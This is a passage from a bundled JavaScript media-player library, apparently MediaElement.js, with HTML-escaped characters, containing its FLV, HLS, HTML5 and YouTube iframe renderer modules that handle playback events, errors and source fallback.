							for (var i = 0, total = events.length; i &lt; total; i++) {
								node.removeEventListener(events[i], attachNativeEvents);
							}
							flvPlayer = NativeFlv._createPlayer({
								options: _flvOptions,
								configs: _flvConfigs,
								id: id
							});
							flvPlayer.attachMediaElement(node);
							flvPlayer.load();
						}
					} else {
						node[propName] = value;
					}
				}
			};
		};

		for (var i = 0, total = props.length; i &lt; total; i++) {
			assignGettersSetters(props[i]);
		}

		_window2.default[&#039;__ready__&#039; + id] = function (_flvPlayer) {
			mediaElement.flvPlayer = flvPlayer = _flvPlayer;

			var flvEvents = flvjs.Events,
			    assignEvents = function assignEvents(eventName) {
				if (eventName === &#039;loadedmetadata&#039;) {
					flvPlayer.unload();
					flvPlayer.detachMediaElement();
					flvPlayer.attachMediaElement(node);
					flvPlayer.load();
				}

				node.addEventListener(eventName, attachNativeEvents);
			};

			for (var _i = 0, _total = events.length; _i &lt; _total; _i++) {
				assignEvents(events[_i]);
			}

			var assignFlvEvents = function assignFlvEvents(name, data) {
				if (name === &#039;error&#039;) {
					var message = data[0] + &#039;: &#039; + data[1] + &#039; &#039; + data[2].msg;
					mediaElement.generateError(message, node.src);
				} else {
					var _event = (0, _general.createEvent)(name, mediaElement);
					_event.data = data;
					mediaElement.dispatchEvent(_event);
				}
			};

			var _loop = function _loop(eventType) {
				if (flvEvents.hasOwnProperty(eventType)) {
					flvPlayer.on(flvEvents[eventType], function () {
						for (var _len = arguments.length, args = Array(_len), _key = 0; _key &lt; _len; _key++) {
							args[_key] = arguments[_key];
						}

						return assignFlvEvents(flvEvents[eventType], args);
					});
				}
			};

			for (var eventType in flvEvents) {
				_loop(eventType);
			}
		};

		if (mediaFiles &amp;&amp; mediaFiles.length &gt; 0) {
			for (var _i2 = 0, _total2 = mediaFiles.length; _i2 &lt; _total2; _i2++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i2].type)) {
					node.setAttribute(&#039;src&#039;, mediaFiles[_i2].src);
					break;
				}
			}
		}

		node.setAttribute(&#039;id&#039;, id);

		originalNode.parentNode.insertBefore(node, originalNode);
		originalNode.autoplay = false;
		originalNode.style.display = &#039;none&#039;;

		var flvOptions = {};
		flvOptions.type = &#039;flv&#039;;
		flvOptions.url = node.src;
		flvOptions.cors = options.flv.cors;
		flvOptions.debug = options.flv.debug;
		flvOptions.path = options.flv.path;
		var flvConfigs = options.flv.configs;

		node.setSize = function (width, height) {
			node.style.width = width + &#039;px&#039;;
			node.style.height = height + &#039;px&#039;;
			return node;
		};

		node.hide = function () {
			if (flvPlayer !== null) {
				flvPlayer.pause();
			}
			node.style.display = &#039;none&#039;;
			return node;
		};

		node.show = function () {
			node.style.display = &#039;&#039;;
			return node;
		};

		node.destroy = function () {
			if (flvPlayer !== null) {
				flvPlayer.destroy();
			}
		};

		var event = (0, _general.createEvent)(&#039;rendererready&#039;, node);
		mediaElement.dispatchEvent(event);

		mediaElement.promises.push(NativeFlv.load({
			options: flvOptions,
			configs: flvConfigs,
			id: id
		}));

		return node;
	}
};

_media.typeChecks.push(function (url) {
	return ~url.toLowerCase().indexOf(&#039;.flv&#039;) ? &#039;video/flv&#039; : null;
});

_renderer.renderer.add(FlvNativeRenderer);

},{&quot;25&quot;:25,&quot;26&quot;:26,&quot;27&quot;:27,&quot;28&quot;:28,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],22:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _typeof = typeof Symbol === &quot;function&quot; &amp;&amp; typeof Symbol.iterator === &quot;symbol&quot; ? function (obj) { return typeof obj; } : function (obj) { return obj &amp;&amp; typeof Symbol === &quot;function&quot; &amp;&amp; obj.constructor === Symbol &amp;&amp; obj !== Symbol.prototype ? &quot;symbol&quot; : typeof obj; };

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(27);

var _constants = _dereq_(25);

var _media = _dereq_(28);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var NativeHls = {

	promise: null,

	load: function load(settings) {
		if (typeof Hls !== &#039;undefined&#039;) {
			NativeHls.promise = new Promise(function (resolve) {
				resolve();
			}).then(function () {
				NativeHls._createPlayer(settings);
			});
		} else {
			settings.options.path = typeof settings.options.path === &#039;string&#039; ? settings.options.path : &#039;https://cdn.jsdelivr.net/npm/hls.js@latest&#039;;

			NativeHls.promise = NativeHls.promise || (0, _dom.loadScript)(settings.options.path);
			NativeHls.promise.then(function () {
				NativeHls._createPlayer(settings);
			});
		}

		return NativeHls.promise;
	},

	_createPlayer: function _createPlayer(settings) {
		var player = new Hls(settings.options);
		_window2.default[&#039;__ready__&#039; + settings.id](player);
		return player;
	}
};

var HlsNativeRenderer = {
	name: &#039;native_hls&#039;,
	options: {
		prefix: &#039;native_hls&#039;,
		hls: {
			path: &#039;https://cdn.jsdelivr.net/npm/hls.js@latest&#039;,

			autoStartLoad: false,
			debug: false
		}
	},

	canPlayType: function canPlayType(type) {
		return _constants.HAS_MSE &amp;&amp; [&#039;application/x-mpegurl&#039;, &#039;application/vnd.apple.mpegurl&#039;, &#039;audio/mpegurl&#039;, &#039;audio/hls&#039;, &#039;video/hls&#039;].indexOf(type.toLowerCase()) &gt; -1;
	},

	create: function create(mediaElement, options, mediaFiles) {

		var originalNode = mediaElement.originalNode,
		    id = mediaElement.id + &#039;_&#039; + options.prefix,
		    preload = originalNode.getAttribute(&#039;preload&#039;),
		    autoplay = originalNode.autoplay;

		var hlsPlayer = null,
		    node = null,
		    index = 0,
		    total = mediaFiles.length;

		node = originalNode.cloneNode(true);
		options = Object.assign(options, mediaElement.options);
		options.hls.autoStartLoad = preload &amp;&amp; preload !== &#039;none&#039; || autoplay;

		var props = _mejs2.default.html5media.properties,
		    events = _mejs2.default.html5media.events.concat([&#039;click&#039;, &#039;mouseover&#039;, &#039;mouseout&#039;]).filter(function (e) {
			return e !== &#039;error&#039;;
		}),
		    attachNativeEvents = function attachNativeEvents(e) {
			var event = (0, _general.createEvent)(e.type, mediaElement);
			mediaElement.dispatchEvent(event);
		},
		    assignGettersSetters = function assignGettersSetters(propName) {
			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			node[&#039;get&#039; + capName] = function () {
				return hlsPlayer !== null ? node[propName] : null;
			};

			node[&#039;set&#039; + capName] = function (value) {
				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
					if (propName === &#039;src&#039;) {
						node[propName] = (typeof value === &#039;undefined&#039; ? &#039;undefined&#039; : _typeof(value)) === &#039;object&#039; &amp;&amp; value.src ? value.src : value;
						if (hlsPlayer !== null) {
							hlsPlayer.destroy();
							for (var i = 0, _total = events.length; i &lt; _total; i++) {
								node.removeEventListener(events[i], attachNativeEvents);
							}
							hlsPlayer = NativeHls._createPlayer({
								options: options.hls,
								id: id
							});
							hlsPlayer.loadSource(value);
							hlsPlayer.attachMedia(node);
						}
					} else {
						node[propName] = value;
					}
				}
			};
		};

		for (var i = 0, _total2 = props.length; i &lt; _total2; i++) {
			assignGettersSetters(props[i]);
		}

		_window2.default[&#039;__ready__&#039; + id] = function (_hlsPlayer) {
			mediaElement.hlsPlayer = hlsPlayer = _hlsPlayer;
			var hlsEvents = Hls.Events,
			    assignEvents = function assignEvents(eventName) {
				if (eventName === &#039;loadedmetadata&#039;) {
					var url = mediaElement.originalNode.src;
					hlsPlayer.detachMedia();
					hlsPlayer.loadSource(url);
					hlsPlayer.attachMedia(node);
				}

				node.addEventListener(eventName, attachNativeEvents);
			};

			for (var _i = 0, _total3 = events.length; _i &lt; _total3; _i++) {
				assignEvents(events[_i]);
			}

			var recoverDecodingErrorDate = void 0,
			    recoverSwapAudioCodecDate = void 0;
			var assignHlsEvents = function assignHlsEvents(name, data) {
				if (name === &#039;hlsError&#039;) {
					console.warn(data);
					data = data[1];

					if (data.fatal) {
						switch (data.type) {
							case &#039;mediaError&#039;:
								var now = new Date().getTime();
								if (!recoverDecodingErrorDate || now - recoverDecodingErrorDate &gt; 3000) {
									recoverDecodingErrorDate = new Date().getTime();
									hlsPlayer.recoverMediaError();
								} else if (!recoverSwapAudioCodecDate || now - recoverSwapAudioCodecDate &gt; 3000) {
									recoverSwapAudioCodecDate = new Date().getTime();
									console.warn(&#039;Attempting to swap Audio Codec and recover from media error&#039;);
									hlsPlayer.swapAudioCodec();
									hlsPlayer.recoverMediaError();
								} else {
									var message = &#039;Cannot recover, last media error recovery failed&#039;;
									mediaElement.generateError(message, node.src);
									console.error(message);
								}
								break;
							case &#039;networkError&#039;:
								if (data.details === &#039;manifestLoadError&#039;) {
									if (index &lt; total &amp;&amp; mediaFiles[index + 1] !== undefined) {
										node.setSrc(mediaFiles[index++].src);
										node.load();
										node.play();
									} else {
										var _message = &#039;Network error&#039;;
										mediaElement.generateError(_message, mediaFiles);
										console.error(_message);
									}
								} else {
									var _message2 = &#039;Network error&#039;;
									mediaElement.generateError(_message2, mediaFiles);
									console.error(_message2);
								}
								break;
							default:
								hlsPlayer.destroy();
								break;
						}
						return;
					}
				}
				var event = (0, _general.createEvent)(name, mediaElement);
				event.data = data;
				mediaElement.dispatchEvent(event);
			};

			var _loop = function _loop(eventType) {
				if (hlsEvents.hasOwnProperty(eventType)) {
					hlsPlayer.on(hlsEvents[eventType], function () {
						for (var _len = arguments.length, args = Array(_len), _key = 0; _key &lt; _len; _key++) {
							args[_key] = arguments[_key];
						}

						return assignHlsEvents(hlsEvents[eventType], args);
					});
				}
			};

			for (var eventType in hlsEvents) {
				_loop(eventType);
			}
		};

		if (total &gt; 0) {
			for (; index &lt; total; index++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) {
					node.setAttribute(&#039;src&#039;, mediaFiles[index].src);
					break;
				}
			}
		}

		if (preload !== &#039;auto&#039; &amp;&amp; !autoplay) {
			node.addEventListener(&#039;play&#039;, function () {
				if (hlsPlayer !== null) {
					hlsPlayer.startLoad();
				}
			});

			node.addEventListener(&#039;pause&#039;, function () {
				if (hlsPlayer !== null) {
					hlsPlayer.stopLoad();
				}
			});
		}

		node.setAttribute(&#039;id&#039;, id);

		originalNode.parentNode.insertBefore(node, originalNode);
		originalNode.autoplay = false;
		originalNode.style.display = &#039;none&#039;;

		node.setSize = function (width, height) {
			node.style.width = width + &#039;px&#039;;
			node.style.height = height + &#039;px&#039;;
			return node;
		};

		node.hide = function () {
			node.pause();
			node.style.display = &#039;none&#039;;
			return node;
		};

		node.show = function () {
			node.style.display = &#039;&#039;;
			return node;
		};

		node.destroy = function () {
			if (hlsPlayer !== null) {
				hlsPlayer.stopLoad();
				hlsPlayer.destroy();
			}
		};

		var event = (0, _general.createEvent)(&#039;rendererready&#039;, node);
		mediaElement.dispatchEvent(event);

		mediaElement.promises.push(NativeHls.load({
			options: options.hls,
			id: id
		}));

		return node;
	}
};

_media.typeChecks.push(function (url) {
	return ~url.toLowerCase().indexOf(&#039;.m3u8&#039;) ? &#039;application/x-mpegURL&#039; : null;
});

_renderer.renderer.add(HlsNativeRenderer);

},{&quot;25&quot;:25,&quot;26&quot;:26,&quot;27&quot;:27,&quot;28&quot;:28,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],23:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(27);

var _constants = _dereq_(25);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var HtmlMediaElement = {
	name: &#039;html5&#039;,
	options: {
		prefix: &#039;html5&#039;
	},

	canPlayType: function canPlayType(type) {

		var mediaElement = _document2.default.createElement(&#039;video&#039;);

		if (_constants.IS_ANDROID &amp;&amp; /\/mp(3|4)$/i.test(type) || ~[&#039;application/x-mpegurl&#039;, &#039;vnd.apple.mpegurl&#039;, &#039;audio/mpegurl&#039;, &#039;audio/hls&#039;, &#039;video/hls&#039;].indexOf(type.toLowerCase()) &amp;&amp; _constants.SUPPORTS_NATIVE_HLS) {
			return &#039;yes&#039;;
		} else if (mediaElement.canPlayType) {
			return mediaElement.canPlayType(type.toLowerCase()).replace(/no/, &#039;&#039;);
		} else {
			return &#039;&#039;;
		}
	},

	create: function create(mediaElement, options, mediaFiles) {

		var id = mediaElement.id + &#039;_&#039; + options.prefix;
		var isActive = false;

		var node = null;

		if (mediaElement.originalNode === undefined || mediaElement.originalNode === null) {
			node = _document2.default.createElement(&#039;audio&#039;);
			mediaElement.appendChild(node);
		} else {
			node = mediaElement.originalNode;
		}

		node.setAttribute(&#039;id&#039;, id);

		var props = _mejs2.default.html5media.properties,
		    assignGettersSetters = function assignGettersSetters(propName) {
			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			node[&#039;get&#039; + capName] = function () {
				return node[propName];
			};

			node[&#039;set&#039; + capName] = function (value) {
				if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) {
					node[propName] = value;
				}
			};
		};

		for (var i = 0, _total = props.length; i &lt; _total; i++) {
			assignGettersSetters(props[i]);
		}

		var events = _mejs2.default.html5media.events.concat([&#039;click&#039;, &#039;mouseover&#039;, &#039;mouseout&#039;]).filter(function (e) {
			return e !== &#039;error&#039;;
		}),
		    assignEvents = function assignEvents(eventName) {
			node.addEventListener(eventName, function (e) {
				if (isActive) {
					var _event = (0, _general.createEvent)(e.type, e.target);
					mediaElement.dispatchEvent(_event);
				}
			});
		};

		for (var _i = 0, _total2 = events.length; _i &lt; _total2; _i++) {
			assignEvents(events[_i]);
		}

		node.setSize = function (width, height) {
			node.style.width = width + &#039;px&#039;;
			node.style.height = height + &#039;px&#039;;
			return node;
		};

		node.hide = function () {
			isActive = false;
			node.style.display = &#039;none&#039;;

			return node;
		};

		node.show = function () {
			isActive = true;
			node.style.display = &#039;&#039;;

			return node;
		};

		var index = 0,
		    total = mediaFiles.length;
		if (total &gt; 0) {
			for (; index &lt; total; index++) {
				if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[index].type)) {
					node.setAttribute(&#039;src&#039;, mediaFiles[index].src);
					break;
				}
			}
		}

		node.addEventListener(&#039;error&#039;, function (e) {
			if (e &amp;&amp; e.target &amp;&amp; e.target.error &amp;&amp; e.target.error.code === 4 &amp;&amp; isActive) {
				if (index &lt; total &amp;&amp; mediaFiles[index + 1] !== undefined) {
					node.src = mediaFiles[index++].src;
					node.load();
					node.play();
				} else {
					mediaElement.generateError(&#039;Media error: Format(s) not supported or source(s) not found&#039;, mediaFiles);
				}
			}
		});

		var event = (0, _general.createEvent)(&#039;rendererready&#039;, node);
		mediaElement.dispatchEvent(event);

		return node;
	}
};

_window2.default.HtmlMediaElement = _mejs2.default.HtmlMediaElement = HtmlMediaElement;

_renderer.renderer.add(HtmlMediaElement);

},{&quot;2&quot;:2,&quot;25&quot;:25,&quot;27&quot;:27,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],24:[function(_dereq_,module,exports){
&#039;use strict&#039;;

var _window = _dereq_(3);

var _window2 = _interopRequireDefault(_window);

var _document = _dereq_(2);

var _document2 = _interopRequireDefault(_document);

var _mejs = _dereq_(7);

var _mejs2 = _interopRequireDefault(_mejs);

var _renderer = _dereq_(8);

var _general = _dereq_(27);

var _media = _dereq_(28);

var _dom = _dereq_(26);

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

var YouTubeApi = {
	isIframeStarted: false,

	isIframeLoaded: false,

	iframeQueue: [],

	enqueueIframe: function enqueueIframe(settings) {
		YouTubeApi.isLoaded = typeof YT !== &#039;undefined&#039; &amp;&amp; YT.loaded;

		if (YouTubeApi.isLoaded) {
			YouTubeApi.createIframe(settings);
		} else {
			YouTubeApi.loadIframeApi();
			YouTubeApi.iframeQueue.push(settings);
		}
	},

	loadIframeApi: function loadIframeApi() {
		if (!YouTubeApi.isIframeStarted) {
			(0, _dom.loadScript)(&#039;https://www.youtube.com/player_api&#039;);
			YouTubeApi.isIframeStarted = true;
		}
	},

	iFrameReady: function iFrameReady() {

		YouTubeApi.isLoaded = true;
		YouTubeApi.isIframeLoaded = true;

		while (YouTubeApi.iframeQueue.length &gt; 0) {
			var settings = YouTubeApi.iframeQueue.pop();
			YouTubeApi.createIframe(settings);
		}
	},

	createIframe: function createIframe(settings) {
		return new YT.Player(settings.containerId, settings);
	},

	getYouTubeId: function getYouTubeId(url) {

		var youTubeId = &#039;&#039;;

		if (url.indexOf(&#039;?&#039;) &gt; 0) {
			youTubeId = YouTubeApi.getYouTubeIdFromParam(url);

			if (youTubeId === &#039;&#039;) {
				youTubeId = YouTubeApi.getYouTubeIdFromUrl(url);
			}
		} else {
			youTubeId = YouTubeApi.getYouTubeIdFromUrl(url);
		}

		var id = youTubeId.substring(youTubeId.lastIndexOf(&#039;/&#039;) + 1);
		youTubeId = id.split(&#039;?&#039;);
		return youTubeId[0];
	},

	getYouTubeIdFromParam: function getYouTubeIdFromParam(url) {

		if (url === undefined || url === null || !url.trim().length) {
			return null;
		}

		var parts = url.split(&#039;?&#039;),
		    parameters = parts[1].split(&#039;&amp;&#039;);

		var youTubeId = &#039;&#039;;

		for (var i = 0, total = parameters.length; i &lt; total; i++) {
			var paramParts = parameters[i].split(&#039;=&#039;);
			if (paramParts[0] === &#039;v&#039;) {
				youTubeId = paramParts[1];
				break;
			}
		}

		return youTubeId;
	},

	getYouTubeIdFromUrl: function getYouTubeIdFromUrl(url) {

		if (url === undefined || url === null || !url.trim().length) {
			return null;
		}

		var parts = url.split(&#039;?&#039;);
		url = parts[0];
		return url.substring(url.lastIndexOf(&#039;/&#039;) + 1);
	},

	getYouTubeNoCookieUrl: function getYouTubeNoCookieUrl(url) {
		if (url === undefined || url === null || !url.trim().length || url.indexOf(&#039;//www.youtube&#039;) === -1) {
			return url;
		}

		var parts = url.split(&#039;/&#039;);
		parts[2] = parts[2].replace(&#039;.com&#039;, &#039;-nocookie.com&#039;);
		return parts.join(&#039;/&#039;);
	}
};

var YouTubeIframeRenderer = {
	name: &#039;youtube_iframe&#039;,

	options: {
		prefix: &#039;youtube_iframe&#039;,

		youtube: {
			autoplay: 0,
			controls: 0,
			disablekb: 1,
			end: 0,
			loop: 0,
			modestbranding: 0,
			playsinline: 0,
			rel: 0,
			showinfo: 0,
			start: 0,
			iv_load_policy: 3,

			nocookie: false,

			imageQuality: null
		}
	},

	canPlayType: function canPlayType(type) {
		return ~[&#039;video/youtube&#039;, &#039;video/x-youtube&#039;].indexOf(type.toLowerCase());
	},

	create: function create(mediaElement, options, mediaFiles) {

		var youtube = {},
		    apiStack = [],
		    readyState = 4;

		var youTubeApi = null,
		    paused = true,
		    ended = false,
		    youTubeIframe = null,
		    volume = 1;

		youtube.options = options;
		youtube.id = mediaElement.id + &#039;_&#039; + options.prefix;
		youtube.mediaElement = mediaElement;

		var props = _mejs2.default.html5media.properties,
		    assignGettersSetters = function assignGettersSetters(propName) {

			var capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

			youtube[&#039;get&#039; + capName] = function () {
				if (youTubeApi !== null) {
					var value = null;

					switch (propName) {
						case &#039;currentTime&#039;:
							return youTubeApi.getCurrentTime();
						case &#039;duration&#039;:
							return youTubeApi.getDuration();
						case &#039;volume&#039;:
							volume = youTubeApi.getVolume() / 100;
							return volume;
						case &#039;playbackRate&#039;:
							return youTubeApi.getPlaybackRate();
						case &#039;paused&#039;:
							return paused;
						case &#039;ended&#039;:
							return ended;
						case &#039;muted&#039;:
							return youTubeApi.isMuted();
						case &#039;buffered&#039;:
							var percentLoaded = youTubeApi.getVideoLoadedFraction(),
							    duration = youTubeApi.getDuration();
							return {
								start: function start() {
									return 0;
								},
								end: function end() {
									return percentLoaded * duration;
								},
								length: 1
							};
						case &#039;src&#039;:
							return youTubeApi.getVideoUrl();
						case &#039;readyState&#039;:
							return readyState;
					}

					return value;
				} else {
					return null;
				}
			};

			youtube[&#039;set&#039; + capName] = function (value) {
				if (youTubeApi !== null) {
					switch (propName) {
						case &#039;src&#039;:
							var url = typeof value === &#039;string&#039; ? value : value[0].src,
							    _videoId = YouTubeApi.getYouTubeId(url);

							if (mediaElement.originalNode.autoplay) {
								youTubeApi.loadVideoById(_videoId);
							} else {
								youTubeApi.cueVideoById(_videoId);
							}
							break;
						case &#039;currentTime&#039;:
							youTubeApi.seekTo(value);
							break;
						case &#039;muted&#039;:
							if (value) {
								youTubeApi.mute();
							} else {
								youTubeApi.unMute();
							}
							setTimeout(function () {
								var event = (0, _general.createEvent)(&#039;volumechange&#039;, youtube);
								mediaElement.dispatchEvent(event);
							}, 50);
							break;
						case &#039;volume&#039;:
							volume = value;
							youTubeApi.setVolume(value * 100);
							setTimeout(function () {
								var event = (0, _general.createEvent)(&#039;volumechange&#039;, youtube);
								mediaElement.dispatchEvent(event);
							}, 50);
							break;
						case &#039;playbackRate&#039;:
							youTubeApi.setPlaybackRate(value);
							setTimeout(function () {
								var event = (0, _general.createEvent)(&#039;ratechange&#039;, youtube);
								mediaElement.dispatchEvent(event);
							}, 50);
							break;
						case &#039;readyState&#039;:
							var event = (0, _general.createEvent)(&#039;canplay&#039;, youtube);
							mediaElement.dispatchEvent(event);
							break;
						default:
							
							break;
					}
				} else {
					apiStack.push({ type: &#039;set&#039;, propName: propName, value: value });
				}
			};
		};

		for (var i = 0, total = props.length; i &lt; total; i++) {
			assignGettersSetters(props[i]);
		}

		var methods = _mejs2.default.html5media.methods,
		    assignMethods = function assignMethods(methodName) {
			youtube[methodName] = function () {
				if (youTubeApi !== null) {
					switch (methodName) {
						case &#039;play&#039;:
							paused = false;
							return youTubeApi.playVideo();
						case &#039;pause&#039;:
							paused = true;
							return youTubeApi.pauseVideo();
						case &#039;load&#039;:
							return null;
					}
				} else {
					apiStack.push({ type: &#039;call&#039;, methodName: methodName });
				}
			};
		};

		for (var _i = 0, _total = methods.length; _i &lt; _total; _i++) {
			assignMethods(methods[_i]);
		}

		var errorHandler = function errorHandler(error) {
			var message = &#039;&#039;;
			switch (error.data) {
				case 2:
					message = &#039;The request contains an invalid parameter value. Verify that video ID has 11 characters and that contains no invalid characters, such as exclamation points or asterisks.&#039;;
					break;
				case 5:
					message = &#039;The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.&#039;;
					break;
				case 100:
					message = &#039;The video requested was not found. Either video has been removed or has been marked as private.&#039;;
					break;
				case 101:
				case 105:
					message = &#039;The owner of the requested video does not allow it to be played in embedded players.&#039;;
					break;
				default:
					message = &#039;Unknown error.&#039;;
					break;
			}
			mediaElement.generateError(&#039;Code &#039; + error.data + &#039;: &#039; + message, mediaFiles);
		};

		var youtubeContainer = _document2.default.createElement(&#039;div&#039;);
		youtubeContainer.id = youtube.id;

		if (youtube.options.youtube.nocookie) {
			mediaElement.originalNode.src = YouTubeApi.getYouTubeNoCookieUrl(mediaFiles[0].src);
		}

		mediaElement.originalNode.parentNode.insertBefore(youtubeContainer, mediaElement.originalNode);
		mediaElement.originalNode.style.display = &#039;none&#039;;

		var isAudio = mediaElement.originalNode.tagName.toLowerCase() === &#039;audio&#039;,
		    height = isAudio ? &#039;1&#039; : mediaElement.originalNode.height,
		    width = isAudio ? &#039;1&#039; : mediaElement.originalNode.width,
		    videoId = YouTubeApi.getYouTubeId(mediaFiles[0].src),
		    youtubeSettings = {
			id: youtube.id,
			containerId: youtubeContainer.id,
			videoId: videoId,
			height: height,
			width: width,
			host: youtube.options.youtube &amp;&amp; youtube.options.youtube.nocookie ? &#039;https://www.youtube-nocookie.com&#039; : undefined,
			playerVars: Object.assign({
				controls: 0,
				rel: 0,
				disablekb: 1,
				showinfo: 0,
				modestbranding: 0,
				html5: 1,
				iv_load_policy: 3
			}, youtube.options.youtube),
			origin: _window2.default.location.host,
			events: {
				onReady: function onReady(e) {
					mediaElement.youTubeApi = youTubeApi = e.target;
					mediaElement.youTubeState = {
						paused: true,
						ended: false
					};

					if (apiStack.length) {
						for (var _i2 = 0, _total2 = apiStack.length; _i2 &lt; _total2; _i2++) {

							var stackItem = apiStack[_i2];

							if (stackItem.type === &#039;set&#039;) {
								var propName = stackItem.propName,
								    capName = &#039;&#039; + propName.substring(0, 1).toUpperCase() + propName.substring(1);

								youtube[&#039;set&#039; + capName](stackItem.value);
							} else if (stackItem.type === &#039;call&#039;) {
								youtube[stackItem.methodName]();
							}
						}
					}

					youTubeIframe = youTubeApi.getIframe();

					if (mediaElement.originalNode.muted) {
						youTubeApi.mute();
					}

					var events = [&#039;mouseover&#039;, &#039;mouseout&#039;],
					    assignEvents = function assignEvents(e) {
						var newEvent = (0, _general.createEvent)(e.type, youtube);
						mediaElement.dispatchEvent(newEvent);
					};

					for (var _i3 = 0, _total3 = events.length; _i3 &lt; _total3; _i3++) {
						youTubeIframe.addEventListener(events[_i3], assignEvents, false);
					}

					var initEvents = [&#039;rendererready&#039;, &#039;loadedmetadata&#039;, &#039;loadeddata&#039;, &#039;canplay&#039;];

					for (var _i4 = 0, _total4 = initEvents.length; _i4 &lt; _total4; _i4++) {
						var event = (0, _general.createEvent)(initEvents[_i4], youtube);
						mediaElement.dispatchEvent(event);
					}
				},
				onStateChange: function onStateChange(e) {
					var events = [];

					switch (e.data) {
						case -1:
							events = [&#039;loadedmetadata&#039;];
							paused = true;
							ended = false;
							break;
						case 0:
							events = [&#039;ended&#039;];
							paused = false;
							ended = !youtube.options.youtube.loop;
							if (!youtube.options.youtube.loop) {
								youtube.stopInterval();
							}
							break;
						case 1:
							events = [&#039;play&#039;, &#039;playing&#039;];
							paused = false;
							ended = false;
							youtube.startInterval();
							break;
						case 2:
							events = [&#039;pause&#039;];
							paused = true;
							ended = false;
							youtube.stopInterval();
							break;
						case 3:
							events = [&#039;progress&#039;];
							ended = false;
							break;
						case 5:
							events = [&#039;loadeddata&#039;, &#039;loadedmetadata&#039;, &#039;canplay&#039;];
							paused = true;
							ended = false;
							break;
					}

					for (var _i5 = 0, _total5 = events.length; _i5 &lt; _total5; _i5++) {
						var event = (0, _general.createEvent)(events[_i5], youtube);
						mediaElement.dispatchEvent(event);
					}
				},
				onError: function onError(e) {
					return errorHandler(e);
				}
			}
		};

		if (isAudio || mediaElement.originalNode.hasAttribute(&#039;playsinline&#039;)) {
			youtubeSettings.playerVars.playsinline = 1;
		}

		if (mediaElement.originalNode.controls) {
			youtubeSettings.playerVars.controls = 1;
		}
		if (mediaElement.originalNode.autoplay) {
			youtubeSettings.playerVars.autoplay = 1;
		}
		if (mediaElement.originalNode.loop) {
			youtubeSettings.playerVars.loop = 1;
		}

		if ((youtubeSettings.playerVars.loop &amp;&amp; parseInt(youtubeSettings.playerVars.loop, 10) === 1 || mediaElement.originalNode.src.indexOf(&#039;loop=&#039;) &gt; -1) &amp;&amp; !youtubeSettings.playerVars.playlist &amp;&amp; mediaElement.originalNode.src.indexOf(&#039;playlist=&#039;) === -1) {
			youtubeSettings.playerVars.playlist = YouTubeApi.getYouTubeId(mediaElement.originalNode.src);
		}

		YouTubeApi.enqueueIframe(youtubeSettings);

		youtube.onEvent = function (eventName, player, _youTubeState) {
			if (_youTubeState !== null &amp;&amp; _youTubeState !== undefined) {
				mediaElement.youTubeState = _youTubeState;
			}
		};

		youtube.setSize = function (width, height) {
			if (youTubeApi !== null) {
				youTubeApi.setSize(width, height);
			}
		};
		youtube.hide = function () {
			youtube.stopInterval();
			youtube.pause();
			if (youTubeIframe) {
				youTubeIframe.style.display = &#039;none&#039;;
			}
		};
		youtube.show = function () {
			if (youTubeIframe) {
				youTubeIframe.style.display = &#039;&#039;;
			}
		};
		youtube.destroy = function () {
			youTubeApi.destroy();
		};
		youtube.interval = null;

		youtube.startInterval = function () {
			youtube.interval = setInterval(function () {
				var event = (0, _general.createEvent)(&#039;timeupdate&#039;, youtube);
				mediaElement.dispatchEvent(event);
			}, 250);
		};
		youtube.stopInterval = function () {
			if (youtube.interval) {
				clearInterval(youtube.interval);
			}
		};
		youtube.getPosterUrl = function () {
			var quality = options.youtube.imageQuality,
			    resolutions = [&#039;default&#039;, &#039;hqdefault&#039;, &#039;mqdefault&#039;, &#039;sddefault&#039;, &#039;maxresdefault&#039;],
			    id = YouTubeApi.getYouTubeId(mediaElement.originalNode.src);
			return quality &amp;&amp; resolutions.indexOf(quality) &gt; -1 &amp;&amp; id ? &#039;https://img.youtube.com/vi/&#039; + id + &#039;/&#039; + quality + &#039;.jpg&#039; : &#039;&#039;;
		};

		return youtube;
	}
};

_window2.default.onYouTubePlayerAPIReady = function () {
	YouTubeApi.iFrameReady();
};

_media.typeChecks.push(function (url) {
	return (/\/\/(www\.youtube|youtu\.?be)/i.test(url) ? &#039;video/x-youtube&#039; : null
	);
});

_renderer.renderer.add(YouTubeIframeRenderer);

},{&quot;2&quot;:2,&quot;26&quot;:26,&quot;27&quot;:27,&quot;28&quot;:28,&quot;3&quot;:3,&quot;7&quot;:7,&quot;8&quot;:8}],25:[function(_dereq_,module,exports){
&#039;use strict&#039;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
	value: true
});
